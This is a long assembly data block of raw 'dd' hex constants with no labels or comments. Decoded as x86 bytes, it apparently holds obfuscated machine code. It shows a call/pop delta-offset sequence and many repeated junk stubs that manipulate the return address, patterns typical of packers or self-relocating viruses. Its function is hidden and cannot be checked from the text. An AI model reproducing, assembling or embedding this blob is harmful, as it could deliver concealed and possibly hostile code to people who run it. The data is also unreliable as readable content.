		dd 5FBF5350h, 5F5FD239h, 8E990h, 1B870000h, 2C83F419h
		dd 0BD8B346Eh, 6AC06E9h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0BB5F53C3h, 146D78B3h
		dd 6E9DEh, 97960000h, 55BA6D6Eh, 0E781006Ah, 161A8D8Ah
		dd 0AF995FFh, 0BD8B06ACh, 6AC25F9h, 8B809D8Dh, 6A06AFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 16FCFBC3h, 0A044C486h, 0BD8B5764h, 6AC11FDh,	0C781665Eh
		dd 0D3FF737Fh, 337585FFh, 6A06ACh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0DEE71DC3h, 0B1FE4B09h
		dd 91DE9h, 0E800h, 815D0000h, 0B00076EDh, 6800F06h, 8B000000h
		dd 0AC32C5BDh, 11BD8906h, 8106AC1Eh, 0AC1C9DBDh, 7D006h
		dd 0A7860F00h, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0E2F7C350h,	9D8BFC68h
		dd 6AC24F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	48C35141h, 55958949h, 8106AC1Ch, 100E3h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 9E9E762h, 62000000h,	21B9F048h, 7656E725h, 850FDB0Bh
		dd 8Dh,	0FEC9BD83h, 0F0006AFh, 2E84h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0A1E9F972h, 29000000h, 0AC0A39BDh, 0A9BD8906h, 0C706AC12h
		dd 0AFFEC985h, 106h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 664A9509h, 8960FA8Bh
		dd 0AC131595h, 6820F06h, 9000000h, 0AC00758Dh, 51E96106h
		dd 53000000h, 11F9BD8Bh, 815F06ACh, 93A419CFh, 0C985C779h
		dd 6AFFEh, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0DEF5C350h, 0E921E0CFh, 14h, 0B5DB1D2Eh
		dd 0D4BCF261h, 81360C10h, 329DCC22h, 4B55B80Ah,	24F99D8Dh
		dd 6A06ACh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0D0DCF1C3h, 0BC02A23Eh, 81FB8B44h, 0FFFEFF23h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 81F75CF0h, 1509BD33h, 8C6606ACh,	57006ADBh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 772FDD28h, 4C3F60Dh
		dd 6E840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 150424h, 56460000h, 0BFE246C3h, 2710CC62h, 1CC99589h
		dd 95FF06ACh, 6AC0135h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 33C35646h, 0B7DD0061h, 60903A13h, 76DE7ABFh
		dd 0B2525065h, 60310FD4h, 61585A61h, 63BE6650h,	0B58B90DEh
		dd 6AC0619h, 473E9h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 62E49013h, 569254F8h
		dd 0B531A6ABh, 6AC32A1h, 10BDB58Bh, 0B006ACh, 71E470E6h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 6FC35040h
		dd 6AD8B60Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 1567C353h, 24F5BD8Bh, 665706ACh
		dd 5E9F3CBEh, 6BAh, 45B58B00h, 8B06AC24h, 1D810FC3h, 0F000000h
		dd 1781h, 12E900h, 0F1540000h, 8BF3152Bh, 0D5ABFBB0h, 6FDC562Dh
		dd 3D476475h, 6A04E8C1h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0C7ADC357h,	0E2F7665Ah
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A5C35545h
		dd 0E2E5C804h, 28DDB58Bh, 0FE8B06ACh, 6AD82Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0A90FC3C3h, 0C1E2A608h, 8B66997Eh, 0BE950F8h, 9E000000h
		dd 537C643h, 94BBA261h,	1C898C6Eh, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 720C0CC6h
		dd 4185318Ah, 0FF06AC0Bh, 0AC1C9DB5h, 0B9BD8B06h, 0FF06AC0Fh
		dd 0AC214595h, 1DB58B06h, 0B006AC1Eh, 0CE900h, 0D1FF0000h
		dd 36E594E8h, 0BE99C3E8h, 70E62B18h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 34C35242h, 587185B4h, 3F45EE81h
		dd 0BD011BE4h, 6AC0841h, 0B58971E4h, 6AC21C9h, 830F613Ch
		dd 2ACh, 6830Fh, 0B58B0000h, 6AC10FDh, 5147BF66h, 6AD8B60Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 57ACC356h, 6A39CA8Fh, 1BC6DF81h, 0BE664BC0h
		dd 6BAC372h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 7437C357h, 0F2FE1A86h
		dd 5F7AB4E3h, 9E8h, 2F2E9100h, 0EDEFCDFEh, 9E9C022h, 0EA000000h
		dd 0F190454h, 0D1FBC6AFh, 5880F5Fh, 66000000h, 1A93C681h
		dd 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 3FEFEFC3h, 3DF16E33h, 0DD9589E0h,	0C106AC31h
		dd 8B6604E8h, 0E2F766F0h, 258BEE81h, 0FE856B7h,	84000000h
		dd 5CAD2131h, 9B32F482h, 0EB013348h, 8501E930h,	6AC1309h
		dd 6AD82B5Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 2973C355h, 0AC0B858Dh,	6A5806h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 3B691C3h, 0FFA06581h, 0A870Fh, 8B600000h, 0AC32A1BDh
		dd 6138B306h, 0D82BFA8Bh, 166880Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0CA44C6C3h
		dd 0FE6426C0h, 92ABE681h, 7B95E18h, 0E9000000h,	5, 41DD92A5h
		dd 0C18316h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0FDC35343h, 0C7382E90h,	860FD93Bh, 104h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0CDC35747h, 0B70F6094h
		dd 6AB966F2h, 8C666127h, 0FB8B66D9h, 0F04C1F6h,	0A884h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 6E9DBDAh, 90000000h, 81DD5202h, 3595FFBFh
		dd 906AC01h, 0AC1D01BDh, 0BF0F5B06h, 6AC32BF1h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 93A5C355h, 0D534C781h, 343D33D5h, 0F000008h,	4086h
		dd 0C8E0F00h, 0F000000h, 684h, 91BD8B00h, 0E906AC2Eh, 50h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C35040h
		dd 766A5761h, 8B9E47AFh, 0AC0EA5B5h, 6AC08B06h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 888BC350h, 0BD8BB53Bh, 6AC1BB9h, 0D88BC38Bh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DAC35646h, 7842C90Dh
		dd 0E6816642h, 85C76C0Bh, 6AC13ADh, 15834551h, 1437B6BEh
		dd 6AC08B46h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0FB28C355h, 0BD81F9E3h, 6AC1C9Dh
		dd 7D0h, 2F850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 5D56ECC3h, 0EB7F286Ch
		dd 9D85FF26h, 8B06AC1Ch, 0AC2EEDB5h, 9DB5FF06h,	6A06AC1Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0AFDAC355h, 8D4F3FDBh, 95FFC99Dh,	6AC2145h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 8C35040h
		dd 6B29C3B8h, 0B533578Ah, 6AC06DDh, 880F905Fh, 6, 605BD89h
		dd 6A06ACh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8BC567C3h, 0AC3459BDh, 0FE8B6606h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0ECC35343h, 0B9C89863h
		dd 0E0BBDE89h, 0E870Fh,	0F500000h, 8Bh,	0B58B5F00h, 6AC1B91h
		dd 0C0EECE81h, 81F508FDh, 0FDC67FD7h, 50006A1Fh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 3F8D91A5h, 0D2F68981h, 0B589BD17h, 6AC1AB1h,	8870Fh
		dd 85090000h, 6AC0B49h,	0BF0FF08Bh, 56006AFBh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 245D9E98h
		dd 0B58BC5D7h, 6AC1F91h, 298D0Fh, 0BE90000h, 0A8000000h
		dd 0F7D963FBh, 8A9F2DD4h, 8C0FC132h, 13h, 0BE85F52h, 57000000h
		dd 190ABD39h, 4116D1A5h, 0E95F5C99h, 0FFFFF719h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 64C35343h, 0DE9AC82h
		dd 75000000h, 26FEE6E7h, 8F78355Ah, 0C4045145h,	289E781h
		dd 0C18B6165h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0D9C35343h, 4EBh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0D682B6C3h, 1ED6DEEAh
		dd 0CE9h, 3A700h, 9974702Fh, 0F4B48549h, 0FB8B663Ch, 2741858Dh
		dd 12E806ACh, 77000000h, 0B32EADCBh, 0AC66D37Dh, 0CBBA4332h
		dd 0F827CD26h, 0C0E781A3h, 5F633008h, 51505750h, 895F5F5Fh
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0BC4C05C3h, 0F9B2446Eh, 0DFD9589h, 6A06ACh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 70C35545h
		dd 0C97A964Ah, 0FBD86F1h, 684h,	15BD8B00h
		dd 6A06AC25h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 5F69075Fh, 3ED0DCF1h, 0BD8902A2h
		dd 6AC1DEDh, 0B6A858Dh,	0B50106B0h, 6AC11F1h, 6A05C083h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 577BC353h, 0E8515054h, 7,	5F26FD7Ah, 533E4014h
		dd 895E5E5Eh, 95892404h, 6AC275Dh, 0F78B006Ah, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0FA517C3h, 6660FA7Bh, 8977F3BAh, 0AC019DBDh,	95FF6106h
		dd 6AC0AF9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0B9C35646h, 0A510A3FDh,	34F9B589h, 9D8D06ACh, 6AF8B80h
		dd 12019529h, 0BF6606ACh, 0D3FFB1EFh, 4820Fh, 0BE660000h
		dd 85FF822Fh, 6AC3375h,	4034F681h, 0B4E9015Ah, 0E8000008h
		dd 0
		dd 74ED815Dh, 6A06B00Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0F678C352h,	25E66C73h
		dd 0E97ADE66h, 0Eh, 132E4DEEh, 52D54EA3h, 9B2DD886h, 0BD819F5Dh
		dd 6AC1C9Dh, 7D0h, 13A860Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 77CB51C3h
		dd 11BD8BF5h, 8B06AC32h, 0AC0FB19Dh, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 11E9BFh, 0EE290000h
		dd 0AC2A32FDh, 9CAD6136h, 684FF425h, 810B5F23h,	100E3h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0B67F1D2Ah, 0BF80E11h, 66850FDBh, 0BE000000h
		dd 6A79232Eh, 9AEBD83h,	0F0006B0h, 3384h, 81F88B00h, 668B3C6h
		dd 51E96Eh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0E6A80BC3h, 0C85DDAE9h, 8F36BE66h
		dd 9AE85C7h, 106B0h, 8D890000h,	6AC0F25h, 16E9h, 5DB58900h
		dd 8B06AC06h, 0AC05DDBDh, 0AE85C706h, 6B009h, 8D000000h
		dd 0AC0FB19Dh, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 57006D8h, 49FD6FF4h, 0BD8BF78Bh
		dd 6AC2605h, 0FEFF2381h, 9D09FFFFh, 6AC1BC1h, 6ADB8C66h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 6E0AC351h, 0E18D896Ah, 0F606AC14h, 840F04C3h
		dd 38h,	1A258D89h, 0B58B06ACh, 6AC1A45h, 13595FFh, 509006ACh
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 85894BFDh, 6AC1C4Dh, 481E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 3C58FF8h, 6860Fh, 8D890000h,	6AC25DDh, 0B0F78B66h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 170E60Bh, 0AC329D95h, 6A71E406h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 381FC355h
		dd 0EA95BE5Eh, 0B60F6E5Ah, 51006AD8h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0CD72A17Ah
		dd 0B533BFBBh, 6BA08CFh, 89000000h, 0AC19658Dh,	6AC38B06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 229C356h,	0ADB58BB1h, 8906AC0Fh, 0AC200D9Dh
		dd 4E8C106h, 265DB589h,	0F76606ACh, 53006AE2h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 115C8A69h
		dd 89CD60B4h, 0AC13598Dh, 50D82B06h, 10E9h, 3FD5900h, 8B0C7316h
		dd 46E524FBh, 3FBFADC2h, 241C89C3h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0C1C35040h,	0E3E68166h, 9DB5FFAEh
		dd 5306AC1Ch, 4595FF5Eh, 0F06AC21h, 680h, 798D3100h, 0B006AC0Bh
		dd 9589F800h, 6AC27EDh,	880F70E6h, 5, 71DFD4BEh, 6A71E44Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 2E95C357h, 0F613CF5h, 2E183h, 0CA816000h
		dd 3766B6ECh, 1125B589h, 0BE6106ACh, 6C32C714h,	6AD8B60Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 92A2C356h, 6BA04h, 0B70F0000h, 0FA8B66FEh
		dd 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 90D177C3h, 87514672h, 9C72BFA9h, 0E8C171D6h
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0E0AF595Dh, 0B7B84CC1h, 0BE9D204h, 0A9000000h
		dd 0D2711F11h, 0F6B40F18h, 0F766A957h, 52006AE2h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 893CC8A5h, 0AC10C595h, 66D82B06h, 6A58F38Bh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 669EC350h, 0D82BFB8Bh, 1EC880Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 6BE220C3h
		dd 472F6DD5h, 58F0Fh, 81660000h, 0B90333C6h, 7,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F9C35545h, 0B95DA55Dh
		dd 2E624A14h, 25B52B3Ah, 0E906AC1Ch, 9,	573D7E7Dh, 2BAC35D6h
		dd 0C18386h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	28C35242h, 8B1CD69Ch, 0AC27ADB5h, 0FD93B06h, 15186h
		dd 14E800h, 0E6CD0000h,	4E102624h, 8D669244h, 659A4ECEh
		dd 0D19AD28Bh, 0B501D2BDh, 6AC2461h, 0D98C665Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E5C35646h, 0FE6AAF83h
		dd 8CF035C2h, 0B5858920h, 8B06AC2Ah, 0AC0905B5h, 4C1F606h
		dd 0DD840Fh, 11E90000h,	50000000h, 58EA802Fh, 4CA473CEh
		dd 8B7D9B0Dh, 0A603CDCAh, 484848BFh, 3595FF5Bh,	6A06AC01h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0E95DC357h, 7, 2F7A24BAh,	5B1F130Ah, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9CC35545h, 829ED717h
		dd 0C5BD0BAEh, 8B06AC12h, 0AC33F1BDh, 89C32B06h, 0AC08059Dh
		dd 8343D06h, 860F0000h,	53h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0BAC35040h,	0C33C5073h, 0ACD6BF8Dh
		dd 3FE94183h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0F078C353h,	66B4509h
		dd 6DBD8BD1h, 8B06AC20h, 10E9C0h, 0BD430000h, 7B61FCDCh
		dd 26F4D604h, 0F9CCDEE0h, 0C38B3E1Eh, 6AD88Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BD8B01C3h, 6AC1CB9h, 24F985C7h, 49D506ACh, 6A183Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0BDE525C3h, 0C220BF1Eh, 0C08B169Eh, 0BD81F28Bh, 6AC1C9Dh
		dd 7D0h, 48850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 597F66C3h, 0EC11C499h
		dd 129DBD29h, 12E906ACh, 26000000h, 9400E2DFh, 0C99B391Dh
		dd 350D0E70h, 88F17311h, 9D85FFD1h, 5206AC1Ch, 0B5FF5FF8h
		dd 6AC1C9Dh, 5800Fh, 9EBE0000h,	60648D07h, 9E9h, 7C46A700h
		dd 51E21640h, 9D8B352Bh, 6AC1949h, 4595FF61h, 6A06AC21h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0C47BC352h, 82A1EA9Bh, 8199529h, 6A9006ACh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 51AFC353h, 24F1BD89h, 0CE906ACh, 8D000000h
		dd 0A7E6CE55h, 600648B8h, 5EB8502Fh, 10E8h, 57A4CC00h
		dd 5B302DB7h, 135865E9h, 195FC125h, 49BE66A0h, 0BF0F60E8h
		dd 0B99D89C0h, 106AC07h, 0AC1E7595h, 665E6106h,	0B58BFA8Bh
		dd 6AC0801h, 531B529h, 60BE06ACh, 0F566A59Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 16C35646h, 66FACD4Bh,	6AF38Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 997FA6C3h, 0C36ED572h, 8B1ED247h, 0AC25C9B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 6B73231Ch, 91205944h, 56006AE2h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 9FFBB422h, 256E1F88h
		dd 70E9EBFEh, 6AFFFFF7h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0E937C350h,	0D58589B9h
		dd 8B06AC0Fh, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 60C9091Ch, 1988F181h, 0B5896EB1h
		dd 6AC1AF1h, 4EB61h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0B4B5C357h,	89ACBFA4h
		dd 0AC0FD59Dh, 41858D06h, 6A06AC27h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 765DC350h
		dd 665090B8h, 90F2E4BFh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 0F0C35646h, 3408579Fh, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0B318B6C3h, 53714E27h, 8B570125h, 0AC33B1BDh, 6A5E06h
		dd 0ADC78166h, 19B58BABh, 8D06AC1Dh, 0B0159785h, 0F18B6606h
		dd 5005C083h, 310F5250h, 271D5CBEh, 89585A02h, 85312404h
		dd 6AC0BE5h, 8166006Ah,	6AA45CE7h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 5E54543Ah
		dd 95FFF84Ah, 6AC0AF9h,	8B809D8Dh, 958906AFh, 6AC0511h
		dd 0E781D3FFh, 3FC982E7h, 337585FFh, 6A06ACh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 182EB0C3h
		dd 8D094D7Bh, 6AC0A79h,	0E9FE8B66h, 828h, 0E8h,	0ED815D00h
		dd 6B015A1h, 8B0Fh, 0BD810000h,	6AC1C9Dh, 7D0h,	151860Fh
		dd 8B660000h, 0A19D8BFAh, 6A06AC24h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 80A8C357h
		dd 8CEAEC6Dh, 65564482h, 0F6DF8166h, 0DDBD0BCAh, 8106AC23h
		dd 100E3h, 0D6816600h, 0DB0BC698h, 92850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 720FA6C3h, 562944BBh, 0B1BD2370h, 8306AC00h,	0B01453BDh
		dd 840F0006h, 1Bh, 0CDB58B60h, 0F06AC0Bh, 8961C0BFh, 0AC33F5BDh
		dd 77E906h, 81660000h, 0C79AA7C7h, 0B0145385h, 106h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0A8C64A40h, 0CF4256DBh, 89BD8BA4h, 8B06AC31h, 37E9FBh
		dd 0B5310000h, 6AC1469h, 145385C7h, 6B0h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 26E8C3C3h, 0BC0451Ch, 8B4385DEh, 0A19D8DF3h,	6A06AC24h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 6CC2C355h, 11E953h, 1FA90000h, 18E1F959h
		dd 222AB0F4h, 7F34C727h, 5F6B4907h, 0FEFF2381h,	66F8FFFFh
		dd 0C3F6DB8Ch, 5E840F04h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0E34EC357h
		dd 0DDCFF130h, 0AADBD89h, 95FF06ACh, 6AC0135h, 2391B58Bh
		dd 0BE5006ACh, 610DDD20h, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8913C356h
		dd 0AC1BB19Dh, 402E906h, 8D890000h, 6AC00C9h, 316000B0h
		dd 0AC31D995h, 6820F06h, 0F000000h, 86h, 70E66100h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6BC35747h, 8DBD8BF4h
		dd 0E406AC00h, 0DDB53371h, 0F06AC34h, 6AD8B6h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 808702C3h, 8190B1D2h, 0A2A49D7h, 6BA11h, 0BD290000h
		dd 6AC3209h, 10E9C38Bh,	32000000h, 920A198h, 461CB915h
		dd 19AB1FEBh, 0C16E5324h, 60BE04E8h, 665B78B1h,	6AE2F7h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0CB71D6C3h, 3C5372D7h, 8B5B7574h, 0AC31F9B5h, 9D8D8906h
		dd 2B06AC33h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0BDB48CA4h, 5B04AE17h, 890FD94Dh
		dd 6, 19A59D31h, 0B58B06ACh, 6AC135Dh, 8B665093h, 6A93F9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 958998C3h, 6AC01E1h,	9298531h, 0B5FF06ACh, 6AC1C9Dh
		dd 2B3D8D89h, 95FF06ACh, 6AC2145h, 220DB50Bh, 0B006ACh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 8C35040h
		dd 71B69F89h, 85295BABh, 6AC0B55h, 7C18529h, 8B6606ACh
		dd 6A70E6FEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 4F22C352h, 93F24E56h, 7E9D5h
		dd 0BF220000h, 0F39A245Ah, 6A71E486h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0C59EC353h
		dd 6810FECh, 23000000h,	0AC32C5BDh, 0F613C06h, 21B83h
		dd 0E4BF6600h, 0F18B6642h, 6AD8B60Fh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0CCC9C351h
		dd 6BA3752h, 0F5000000h, 551BD89h, 0C38B06ACh, 0E8C1F98Bh
		dd 0B58B5004h, 6AC0929h, 0E2F7665Eh, 6AD82BF5h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0DE64C351h, 0FBBF0FE8h, 25E68166h, 6A58E6h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 13E867C3h, 34000000h, 70655194h, 61EF31AAh, 233B364h
		dd 78FA5663h, 0B5333CCAh, 6AC1319h, 4ADE815Eh, 2B6BFF25h
		dd 61880FD8h, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 61A6C350h, 81FA897Dh
		dd 2725613Eh, 5830Fh, 36BF0000h, 0B97A6004h, 7,	24FBE66h
		dd 68D0Fh, 0E7810000h, 130E2F7Ah, 0F500C183h, 860FD93Bh
		dd 110h, 66F78B66h, 6AD98Ch, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0D68356C3h, 0DE8h, 44114C00h
		dd 0DE630A1Fh, 0E9B783ADh, 8B668F39h, 0C1F65EF3h, 0CB840F04h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 401BC351h, 0A2AA8BFh, 0FFF37F80h
		dd 0AC013595h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 857B9010h, 0E92ADFDEh
		dd 13h,	142E741Fh, 0EB52B8C1h, 4C5BA5ABh, 17B91EBAh, 5BC351CAh
		dd 0B58BC32Bh, 6AC1951h, 85295360h, 6AC19C1h, 11E85Bh
		dd 2EBB0000h, 0FB5C94B1h, 622C37A7h, 0FF9D13F0h, 0F9479CC7h
		dd 343D615Ah, 0F000008h, 3186h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0B1646F65h
		dd 0DD9D2972h, 0E906AC09h
		dd 8, 6EBCD681h, 0C08B774Fh, 0D88BC38Bh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 8BC35242h, 897EAC52h
